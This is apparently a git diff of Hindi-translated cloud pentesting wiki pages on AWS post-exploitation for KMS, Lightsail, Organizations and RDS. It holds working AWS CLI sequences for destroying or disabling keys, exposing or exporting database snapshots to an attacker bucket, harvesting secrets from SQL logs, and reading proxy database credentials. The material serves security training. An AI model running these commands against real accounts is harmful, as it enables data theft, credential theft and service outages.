+यह attack AWS KMS aliases को delete या redirect कर देता है, जिससे key resolution टूट जाती है और उन सेवाओं में तुरंत विफलताएँ होती हैं जो उन aliases पर निर्भर करती हैं, और इसका परिणाम denial-of-service होता है। `kms:DeleteAlias` या `kms:UpdateAlias` जैसे permissions के साथ एक attacker aliases को हटाकर या पुनर्निर्देशित करके cryptographic operations (e.g., encrypt, describe) में बाधा डाल सकता है। कोई भी service जो key ID के बजाय alias को reference करती है वह alias को restore या सही तरीके से remap किए जाने तक fail हो सकती है।
+```bash
+# Delete Alias
+aws kms delete-alias --alias-name alias/
+
+# Update Alias
+aws kms update-alias \
+--alias-name alias/ \
+--target-key-id 
+```
+### Cancel Key Deletion
+यदि किसी खाते के पास `kms:CancelKeyDeletion` और `kms:EnableKey` जैसी permissions हों, तो एक हमलावर AWS KMS customer master key की अनुसूचित deletion को रद्द कर सकता है और बाद में उसे पुनः सक्षम कर सकता है। ऐसा करने पर कुंजी पुनर्प्राप्त हो जाती है (प्रारंभ में Disabled state में) और पहले से संरक्षित डेटा को decrypt करने की इसकी क्षमता बहाल हो जाती है, जिससे exfiltration संभव हो जाता है।
+```bash
+# Firts cancel de deletion
+aws kms cancel-key-deletion \
+--key-id 
+
+## Second enable the key
+aws kms enable-key \
+--key-id 
+```
+### कुंजी अक्षम करें
+`kms:DisableKey` अनुमति के साथ, कोई actor एक AWS KMS ग्राहक मास्टर कुंजी को अक्षम कर सकता है, जिससे वह कुंजी एन्क्रिप्शन या डिक्रिप्शन के लिए उपयोग नहीं हो पाएगी। यह उस CMK पर निर्भर किसी भी सेवा के लिए एक्सेस तोड़ देता है और कुंजी के पुनः सक्षम होने तक तात्कालिक व्यवधान या denial-of-service पैदा कर सकता है।
+```bash
+aws kms disable-key \
+--key-id 
+```
+### साझा रहस्य व्युत्पन्न करें
+यदि किसी के पास `kms:DeriveSharedSecret` permission है, तो एक actor KMS-held निजी कुंजी और उपयोगकर्ता-प्रदान की गई सार्वजनिक कुंजी का उपयोग करके ECDH साझा रहस्य की गणना कर सकता है।
+```bash
+aws kms derive-shared-secret \
+--key-id  \
+--public-key fileb:/// \
+--key-agreement-algorithm 
+```
+### Impersonation via kms:Sign
+`kms:Sign` अनुमति के साथ, कोई actor KMS-में संग्रहीत CMK का उपयोग करके private key को उजागर किए बिना डेटा पर क्रिप्टोग्राफिक रूप से साइन कर सकता है, जिससे वैध signatures बनते हैं जो impersonation को सक्षम कर सकते हैं या दुर्भावनापूर्ण कार्यों को अधिकृत कर सकते हैं।
+```bash
+aws kms sign \
+--key-id  \
+--message fileb:// \
+--signing-algorithm  \
+--message-type RAW
+```
+### DoS के साथ Custom Key Stores
+`kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, या `kms:UpdateCustomKeyStore` जैसी अनुमतियों के साथ, एक actor एक AWS KMS Custom Key Store (CKS) को संशोधित, disconnect, या delete कर सकता है, जिससे उसके master keys inoperable हो जाते हैं। यह उन keys पर निर्भर किसी भी सेवाओं के लिए encryption, decryption, और signing ऑपरेशनों को बाधित कर देता है और तुरंत denial-of-service का कारण बन सकता है। इसलिए उन अनुमतियों को सीमित करना और मॉनिटर करना अत्यंत महत्वपूर्ण है।
+```bash
+aws kms delete-custom-key-store --custom-key-store-id 
+
+aws kms disconnect-custom-key-store --custom-key-store-id 
+
+aws kms update-custom-key-store --custom-key-store-id  --new-custom-key-store-name  --key-store-password 
+```
+

+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
deleted file mode 100644
index 3d47365bd..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ /dev/null
@@ -1,30 +0,0 @@
-# AWS - Lightsail पोस्ट एक्सप्लोइटेशन
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-अधिक जानकारी के लिए, देखें:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### पुराने DB स्नैपशॉट्स को पुनर्स्थापित करें
-
-यदि DB में स्नैपशॉट्स हैं, तो आप **पुराने स्नैपशॉट्स में वर्तमान में हटाई गई संवेदनशील जानकारी** **पाने** में सक्षम हो सकते हैं। **नए डेटाबेस** में स्नैपशॉट को **पुनर्स्थापित** करें और इसे जांचें।
-
-### इंस्टेंस स्नैपशॉट्स को पुनर्स्थापित करें
-
-इंस्टेंस स्नैपशॉट्स में पहले से हटाए गए इंस्टेंस या वर्तमान इंस्टेंस में हटाई गई संवेदनशील जानकारी **शामिल हो सकती है**। **स्नैपशॉट्स से नए इंस्टेंस बनाएं** और उन्हें जांचें।\
-या **स्नैपशॉट को EC2 में एक AMI में निर्यात करें** और एक सामान्य EC2 इंस्टेंस के चरणों का पालन करें।
-
-### संवेदनशील जानकारी तक पहुंचें
-
-संभावित संवेदनशील जानकारी तक पहुंचने के विभिन्न तरीकों को जानने के लिए Lightsail प्रिवेस्क विकल्पों की जांच करें:
-
-{{#ref}}
-../aws-privilege-escalation/aws-lightsail-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md
new file mode 100644
index 000000000..3fae70bf8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md
@@ -0,0 +1,30 @@
+# AWS - Lightsail Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Restore old DB snapshots
+
+यदि DB में snapshots मौजूद हैं, तो आप पुराने snapshots में वर्तमान में हटाई गई **संवेदनशील जानकारी** खोज सकते हैं। **Restore** snapshot को एक **नए डेटाबेस** में करें और जाँच करें।
+
+### Restore Instance Snapshots
+
+Instance snapshots में पहले से डिलीट किए गए instances की या current instance में डिलीट की गई संवेदनशील जानकारी हो सकती है। **Create new instances from the snapshots** और इन्हें जांचें।\
+या **export the snapshot to an AMI in EC2** करें और एक सामान्य EC2 instance के चरणों का पालन करें।
+
+### Access Sensitive Information
+
+संभावित संवेदनशील जानकारी तक पहुँचने के विभिन्न तरीकों को जानने के लिए Lightsail privesc विकल्प देखें:
+
+{{#ref}}
+../../aws-privilege-escalation/aws-lightsail-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md
similarity index 59%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md
index c69886632..eb759617d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md
@@ -1,17 +1,17 @@
 # AWS - Organizations Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Organizations
 
 AWS Organizations के बारे में अधिक जानकारी के लिए देखें:
 
 {{#ref}}
-../aws-services/aws-organizations-enum.md
+../../aws-services/aws-organizations-enum.md
 {{#endref}}
 
-### Org छोड़ें
+### संगठन छोड़ें
 ```bash
 aws organizations deregister-account --account-id  --region 
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
similarity index 62%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
index 6ea962d5b..87be16ddf 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
@@ -1,18 +1,18 @@
 # AWS - RDS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
 अधिक जानकारी के लिए देखें:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-यदि attacker के पास पर्याप्त permissions हैं, तो वह DB को **DB publicly accessible** बनाने के लिए DB का snapshot बनाकर और उस snapshot से एक publicly accessible DB बना सकता है।
+यदि attacker के पास पर्याप्त permissions हों, तो वह DB का snapshot बनाकर और फिर उस snapshot से एक सार्वजनिक रूप से पहुँच योग्य DB बनाकर DB को **सार्वजनिक रूप से पहुँच योग्य** बना सकता है।
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
-इन permissions वाले attacker एक DB का **snapshot** बना सकता है और उसे **सार्वजनिक** **उपलब्ध** कर सकता है। फिर वह अपने account में उस snapshot से एक DB बना सकता है।
+इन permissions वाले attacker **DB का एक snapshot बना सकता है** और उसे **सार्वजनिक रूप से** **उपलब्ध** कर सकता है। फिर, वह बस अपने account में उस snapshot से एक DB बना सकता है।
 
-यदि attacker के पास `rds:CreateDBSnapshot` नहीं है, तब भी वह बनाए गए **अन्य** snapshots को **सार्वजनिक** बना सकता है।
+यदि attacker **के पास `rds:CreateDBSnapshot` नहीं है**, तब भी वह बनाए गए **अन्य** snapshots को **सार्वजनिक** कर सकता है।
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier  --db-snapshot-identifier 
@@ -53,48 +53,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier  --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-An attacker with the `rds:DownloadDBLogFilePortion` permission can **RDS instance की लॉग फ़ाइलों के हिस्से डाउनलोड कर सकता है**. अगर संवेदनशील डेटा या access credentials गलती से लॉग हो जाएँ, तो attacker संभावित रूप से इन जानकारियों का उपयोग करके escalate their privileges या perform unauthorized actions कर सकता है।
+जिसके पास `rds:DownloadDBLogFilePortion` अनुमति है, वह **RDS instance की लॉग फ़ाइलों के हिस्से डाउनलोड कर सकता है**। यदि संवेदनशील डेटा या एक्सेस क्रेडेंशियल्स गलती से लॉग हो जाते हैं, तो हमलावर संभवतः इस जानकारी का उपयोग अपनी अनुमतियाँ बढ़ाने (privilege escalation) या अनधिकृत क्रियाएँ करने के लिए कर सकता है।
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**Potential Impact**: संवेदनशील जानकारी तक पहुंच या अनधिकृत क्रियाएँ करने के लिए leaked credentials का उपयोग।
+**Potential Impact**: leaked credentials का उपयोग करके संवेदनशील जानकारी तक पहुँच या अनधिकृत क्रियाएँ हो सकती हैं।
 
 ### `rds:DeleteDBInstance`
 
-इन अनुमतियों वाले हमलावर **DoS existing RDS instances** कर सकते हैं।
+इन अनुमतियों के साथ एक हमलावर **DoS मौजूदा RDS इंस्टेंस** कर सकता है।
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-**Potential impact**: मौजूदा RDS इंस्टेंस का हट जाना, और संभावित डेटा हानि।
+**Potential impact**: मौजूदा RDS instances का हटना और संभावित डेटा हानि।
 
 ### `rds:StartExportTask`
 
 > [!NOTE]
-> TODO: टेस्ट करें
+> TODO: Test
 
-एक हमलावर जिसके पास यह अनुमति है, वे **RDS instance स्नैपशॉट को S3 bucket में export कर सकते हैं**। यदि हमलावर के पास destination S3 bucket पर नियंत्रण है, तो वे निर्यात किए गए स्नैपशॉट के भीतर संवेदनशील डेटा तक संभावित रूप से पहुँच प्राप्त कर सकते हैं।
+इस permission वाले attacker एक RDS instance snapshot को S3 bucket में **export** कर सकता है। यदि attacker के पास destination S3 bucket पर control है, तो वे exported snapshot में मौजूद संवेदनशील डेटा तक पहुँच सकते हैं।
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
-**Potential impact**: एक्सपोर्ट किए गए snapshot में संवेदनशील डेटा तक पहुँच।
+**Potential impact**: निर्यात किए गए snapshot में संवेदनशील डेटा तक पहुँच।
 
-### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### Stealthy Restore के लिए Cross-Region Automated Backups Replication (`rds:StartDBInstanceAutomatedBackupsReplication`)
 
-cross-Region automated backups replication का दुरुपयोग करके चुपचाप किसी RDS instance के automated backups को दूसरे AWS Region में डुप्लिकेट किया जा सकता है और वहाँ restore किया जा सकता है। इसके बाद हमलावर restored DB को सार्वजनिक रूप से accessible बना सकता है और master password reset करके उस Region में उन डेटा तक out-of-band पहुंच बना सकता है जिसकी निगरानी रक्षक नहीं कर रहे हों।
+Cross-Region automated backups replication का दुरुपयोग करके चुपचाप किसी RDS instance के automated backups को दूसरे AWS Region में डुप्लिकेट करें और वहाँ restore करें। फिर हमलावर restored DB को सार्वजनिक रूप से उपलब्ध करवा सकता है और master password रीसेट करके बाहरी मार्ग से डेटा एक्सेस कर सकता है, जो ऐसे Region में हो सकता है जिसे defenders मॉनिटर नहीं करते।
 
 Permissions needed (minimum):
 - `rds:StartDBInstanceAutomatedBackupsReplication` गंतव्य Region में
 - `rds:DescribeDBInstanceAutomatedBackups` गंतव्य Region में
 - `rds:RestoreDBInstanceToPointInTime` गंतव्य Region में
 - `rds:ModifyDBInstance` गंतव्य Region में
-- `rds:StopDBInstanceAutomatedBackupsReplication` (वैकल्पिक सफाई)
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (restored DB को expose करने के लिए)
+- `rds:StopDBInstanceAutomatedBackupsReplication` (वैकल्पिक क्लीनअप)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (restored DB को एक्सपोज़ करने के लिए)
 
-Impact: production डेटा की एक कॉपी को दूसरे Region में restore करके और उसे सार्वजनिक रूप से attacker-controlled credentials से expose करके persistence और डेटा exfiltration किया जा सकता है।
+Impact: Persistence और data exfiltration — production डेटा की एक copy को दूसरे Region में restore करके और उसे सार्वजनिक रूप से हमलावर-नियंत्रित क्रेडेंशियल्स के साथ एक्सपोज़ करके।
 
 

-End-to-end CLI (replace placeholders)
+End-to-end CLI (प्लेसहोल्डर्स बदलें)
 ```bash
 # 1) Recon (SOURCE region A)
 aws rds describe-db-instances \
@@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
 

 
 
-### DB parameter groups के माध्यम से full SQL logging सक्षम करें और RDS log APIs के माध्यम से exfiltrate करें
+### पूर्ण SQL logging को DB parameter groups के माध्यम से सक्षम करें और RDS log APIs के जरिए exfiltrate करें
 
-`rds:ModifyDBParameterGroup` का दुरुपयोग करके और RDS log download APIs का उपयोग करके applications द्वारा execute किए गए सभी SQL statements को capture करें (DB engine credentials की आवश्यकता नहीं)। Engine SQL logging सक्षम करें और file logs को `rds:DescribeDBLogFiles` और `rds:DownloadDBLogFilePortion` (या REST `downloadCompleteLogFile`) के माध्यम से खींचें। यह उन queries को इकट्ठा करने में उपयोगी है जिनमें secrets/PII/JWTs हो सकते हैं।
+RDS log download APIs के साथ `rds:ModifyDBParameterGroup` का दुरुपयोग करके applications द्वारा execute किए गए सभी SQL statements को capture करें (कोई DB engine credentials आवश्यक नहीं)। engine SQL logging को सक्षम करें और file logs को `rds:DescribeDBLogFiles` और `rds:DownloadDBLogFilePortion` (या REST `downloadCompleteLogFile`) के जरिए खींचें। यह उन queries को इकट्ठा करने के लिए उपयोगी है जिनमें secrets/PII/JWTs शामिल हो सकते हैं।
 
 Permissions needed (minimum):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
-- `rds:ModifyDBInstance` (केवल तभी जब instance default parameter group इस्तेमाल कर रहा हो और आपको custom parameter group attach करना हो)
-- `rds:RebootDBInstance` (उन parameters के लिए जिनके लिए reboot आवश्यक है, उदाहरण के लिए PostgreSQL)
+- `rds:ModifyDBInstance` (केवल तब जब instance default parameter group उपयोग कर रहा हो, एक custom parameter group attach करने के लिए)
+- `rds:RebootDBInstance` (उन parameters के लिए जिन्हें reboot की आवश्यकता होती है, जैसे PostgreSQL)
 
 Steps
-1) Recon target और current parameter group की पहचान करें
+1) Recon target और current parameter group की जानकारी इकट्ठा करें
 ```bash
 aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
-2) सुनिश्चित करें कि एक custom DB parameter group जुड़ा हुआ है (default को संपादित नहीं किया जा सकता)
-- यदि instance पहले से ही किसी custom group का उपयोग कर रहा है, तो अगले चरण में उसका नाम पुन: उपयोग करें।
-- अन्यथा engine family से मेल खाता हुआ एक बनाएँ और संलग्न करें:
+2) सुनिश्चित करें कि एक custom DB parameter group जुड़ा हुआ है (default को edit नहीं किया जा सकता)
+- यदि instance पहले से ही किसी custom group का उपयोग कर रहा है, तो अगले चरण में उसका नाम reuse करें।
+- अन्यथा engine family से मेल खाने वाला एक बनाकर attach करें:
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -197,7 +197,7 @@ aws rds modify-db-instance \
 # Wait until status becomes "available"
 ```
 3) विस्तृत SQL लॉगिंग सक्षम करें
-- MySQL इंजन (तुरंत / बिना रिबूट):
+- MySQL engines (तुरंत / बिना रीबूट):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name  \
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
 # Reboot if any parameter is pending-reboot
 aws rds reboot-db-instance --db-instance-identifier 
 ```
-4) वर्कलोड चलने दें (या क्वेरीज जनरेट करें)। स्टेटमेंट्स engine file logs में लिखे जाएंगे
+4) वर्कलोड चलने दें (या क्वेरीज़ जनरेट करें)। स्टेटमेंट्स engine फ़ाइल लॉग्स में लिखे जाएंगे
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`
 
-5) लॉग खोजें और डाउनलोड करें (no DB creds required)
+5) लॉग्स खोजें और डाउनलोड करें (no DB creds required)
 ```bash
 aws rds describe-db-log-files --db-instance-identifier 
 
@@ -235,7 +235,7 @@ aws rds download-db-log-file-portion \
 --starting-token 0 \
 --output text > dump.log
 ```
-6) offline में संवेदनशील डेटा के लिए विश्लेषण करें
+6) संवेदनशील डेटा के लिए ऑफ़लाइन विश्लेषण करें
 ```bash
 grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
 ```
@@ -246,7 +246,7 @@ grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | s
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
 ```
 सफाई
-- पैरामीटर को डिफ़ॉल्ट पर वापस करें और आवश्यक होने पर रिबूट करें:
+- पैरामीटरों को डिफ़ॉल्ट पर वापस करें और यदि आवश्यक हो तो reboot करें:
 ```bash
 # MySQL
 aws rds modify-db-parameter-group \
@@ -261,11 +261,11 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-Impact: Post-exploitation के दौरान AWS APIs के माध्यम से सभी application SQL statements को capture करके डेटा एक्सेस (no DB creds), जिससे secrets, JWTs, और PII leak होने की संभावना।
+प्रभाव: Post-exploitation डेटा एक्सेस — AWS APIs के माध्यम से सभी application SQL statements को कैप्चर करके (no DB creds), संभावित रूप से secrets, JWTs, और PII का leak।
 
 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
 
-RDS read replicas का दुरुपयोग करके primary instance credentials को छुए बिना out-of-band read access हासिल किया जा सकता है। एक attacker production instance से read replica बना सकता है, replica का master password reset कर सकता है (यह primary को बदलता नहीं है), और optionally replica को publicly expose करके data को exfiltrate कर सकता है।
+RDS read replicas का दुरुपयोग करके primary instance credentials को छुए बिना आउट-ऑफ-बैंड read access प्राप्त किया जा सकता है। एक attacker production instance से एक read replica बना सकता है, replica का master password reset कर सकता है (यह primary को नहीं बदलता), और वैकल्पिक रूप से replica को publicly expose करके data को exfiltrate कर सकता है।
 
 Permissions needed (minimum):
 - `rds:DescribeDBInstances`
@@ -273,7 +273,7 @@ Permissions needed (minimum):
 - `rds:ModifyDBInstance`
 - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
 
-Impact: Read-only access to production data via a replica with attacker-controlled credentials; lower detection likelihood as the primary remains untouched and replication continues.
+प्रभाव: attacker-controlled credentials वाले replica के माध्यम से production data पर read-only access; detection की संभावना कम रहती है क्योंकि primary अप्रभावित रहता है और replication जारी रहती है।
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -306,11 +306,11 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier 
 ```
 उदाहरण साक्ष्य (MySQL):
 - Replica DB स्थिति: `available`, read replication: `replicating`
-- नए पासवर्ड के साथ सफल कनेक्शन और `@@read_only=1` यह पुष्टि करता है कि read-only replica तक पहुँच संभव है।
+- नए पासवर्ड के साथ सफल कनेक्शन और `@@read_only=1` read-only रिप्लिका एक्सेस की पुष्टि करता है।
 
 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
 
-RDS Blue/Green का दुरुपयोग कर production DB को लगातार replicate होने वाले, read-only green environment में clone करें। फिर green master credentials को reset करके डेटा तक पहुँच प्राप्त करें बिना blue (prod) instance को छुए। यह snapshot sharing की तुलना में अधिक stealthy है और अक्सर केवल source पर फोकस किए गए monitoring को bypass कर देता है।
+RDS Blue/Green का दुरुपयोग करके production DB को एक सतत रूप से replicated, read‑only green environment में clone करें। फिर green master credentials को reset करके बिना blue (prod) instance को छुए डेटा तक पहुँच प्राप्त करें। यह snapshot sharing की तुलना में अधिक stealthier है और अक्सर केवल स्रोत पर केंद्रित monitoring को bypass कर देता है।
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -357,21 +357,22 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier  \
 --delete-target true
 ```
-प्रभाव: production इंस्टेंस को संशोधित किए बिना production के near-real-time क्लोन तक केवल-पढ़ने (read-only) पर पूर्ण डेटा एक्सेस। चुपके से डेटा निकालने (stealthy data extraction) और ऑफ़लाइन विश्लेषण के लिए उपयोगी।
+प्रभाव: प्रोडक्शन इंस्टेंस को बदले बिना प्रोडक्शन के near-real-time क्लोन तक read-only पर पूर्ण डेटा पहुँच। गुप्त डेटा निकालने और ऑफ़लाइन विश्लेषण के लिए उपयोगी।
 
-### RDS Data API के माध्यम से Out-of-band SQL — HTTP endpoint सक्षम करके + master password रीसेट करके
 
-Aurora का दुरुपयोग करके target cluster पर RDS Data API HTTP endpoint सक्षम करें, master password को ऐसे मान पर रीसेट करें जिसे आप नियंत्रित करते हैं, और HTTPS पर SQL चलाएँ (कोई VPC network path आवश्यक नहीं)। यह उन Aurora engines पर काम करता है जो Data API/EnableHttpEndpoint का समर्थन करते हैं (उदा., Aurora MySQL 8.0 provisioned; कुछ Aurora PostgreSQL/MySQL versions)।
+### RDS Data API के जरिए Out-of-band SQL — HTTP endpoint सक्षम करके + master password रीसेट करना
 
-अनुमतियाँ (न्यूनतम):
+Aurora का दुरुपयोग करके लक्षित cluster पर RDS Data API HTTP endpoint सक्षम करें, master password को अपनी नियंत्रित वैल्यू पर रीसेट करें, और HTTPS पर SQL चलाएँ (कोई VPC network path आवश्यक नहीं)। यह उन Aurora engines पर काम करता है जो Data API/EnableHttpEndpoint को सपोर्ट करते हैं (उदा., Aurora MySQL 8.0 provisioned; कुछ Aurora PostgreSQL/MySQL versions)।
+
+Permissions (minimum):
 - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
 - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
 
-प्रभाव: नेटवर्क segmentation को बायपास करके और DB के साथ सीधे VPC connectivity के बिना AWS APIs के माध्यम से डेटा एक्सफिल्ट्रेट करें।
+प्रभाव: नेटवर्क segmentation को बायपास करके और DB तक सीधे VPC कनेक्टिविटी के बिना AWS APIs के माध्यम से डेटा exfiltrate करें।
 
 

-End-to-end CLI (Aurora MySQL उदाहरण)
+End-to-end CLI (Aurora MySQL example)
 ```bash
 # 1) Identify target cluster ARN
 REGION=us-east-1
@@ -424,23 +425,23 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 

 
 नोट्स:
-- अगर multi-statement SQL को `rds-data` अस्वीकार कर देता है, तो अलग-अलग `execute-statement` कॉल जारी करें।
-- जिन engines पर `modify-db-cluster --enable-http-endpoint` का कोई प्रभाव नहीं होता, वहाँ `rds enable-http-endpoint --resource-arn` का उपयोग करें।
-- सुनिश्चित करें कि engine/version वास्तव में `Data API` को सपोर्ट करता है; अन्यथा `HttpEndpointEnabled` False ही रहेगा।
+- यदि multi-statement SQL को rds-data द्वारा अस्वीकार कर दिया जाता है, तो अलग-अलग execute-statement कॉल जारी करें।
+- उन engines के लिए जहाँ `modify-db-cluster --enable-http-endpoint` का कोई प्रभाव नहीं होता, `rds enable-http-endpoint --resource-arn` का उपयोग करें।
+- सुनिश्चित करें कि engine/version वास्तव में Data API का समर्थन करता है; अन्यथा `HttpEndpointEnabled` False ही रहेगा।
 
 
-### RDS Proxy auth secrets के माध्यम से DB credentials प्राप्त करें (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) के माध्यम से DB credentials प्राप्त करें
 
-RDS Proxy configuration का दुरुपयोग करके उस Secrets Manager secret का पता लगाएँ जो backend authentication के लिए उपयोग होता है, फिर secret पढ़कर database credentials प्राप्त करें। कई environments व्यापक `secretsmanager:GetSecretValue` अनुमति देते हैं, जिससे यह DB creds तक पहुँचने का कम-रुकावट मार्ग बन जाता है। यदि secret किसी CMK का उपयोग करता है, तो mis-scoped KMS permissions भी `kms:Decrypt` की अनुमति दे सकते हैं।
+RDS Proxy configuration का दुरुपयोग करके backend authentication के लिए उपयोग किए गए Secrets Manager secret की खोज करें, फिर database credentials प्राप्त करने के लिए उस secret को पढ़ें। कई वातावरण व्यापक `secretsmanager:GetSecretValue` अनुमति देते हैं, जिससे यह DB creds तक पहुँचने का एक कम-घर्षण pivot बन जाता है। यदि secret किसी CMK का उपयोग करता है, तो गलत-स्कोप किए गए KMS permissions संभवतः `kms:Decrypt` की अनुमति भी दे सकते हैं।
 
 आवश्यक permissions (न्यूनतम):
 - `rds:DescribeDBProxies`
-- `secretsmanager:GetSecretValue` उस संदर्भित SecretArn पर
-- यदि secret किसी CMK का उपयोग कर रहा हो तो वैकल्पिक: उस key पर `kms:Decrypt`
+- `secretsmanager:GetSecretValue` on the referenced SecretArn
+- वैकल्पिक जब secret CMK का उपयोग करता है: `kms:Decrypt` on that key
 
-प्रभाव: proxy पर configured DB username/password का तात्कालिक खुलासा; direct DB access या आगे के lateral movement को सक्षम बनाता है।
+प्रभाव: प्रॉक्सी पर कॉन्फ़िगर किए गए DB username/password का तत्काल खुलासा; यह सीधे DB एक्सेस या आगे के lateral movement को सक्षम बनाता है।
 
-कदम
+स्टेप्स
 ```bash
 # 1) Enumerate proxies and extract the SecretArn used for auth
 aws rds describe-db-proxies \
@@ -453,7 +454,7 @@ aws secretsmanager get-secret-value \
 --query SecretString --output text
 # Example output: {"username":"admin","password":"S3cr3t!"}
 ```
-लैब (पुनरुत्पादन के लिए न्यूनतम)
+Lab (दोहराने के लिए न्यूनतम)
 ```bash
 REGION=us-east-1
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -472,7 +473,7 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
 aws rds wait db-proxy-available --db-proxy-name p0
 # Now run the enumeration + secret read from the Steps above
 ```
-साफ-सफाई (लैब)
+सफाई (लैब)
 ```bash
 aws rds delete-db-proxy --db-proxy-name p0
 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
@@ -481,15 +482,15 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet
 ```
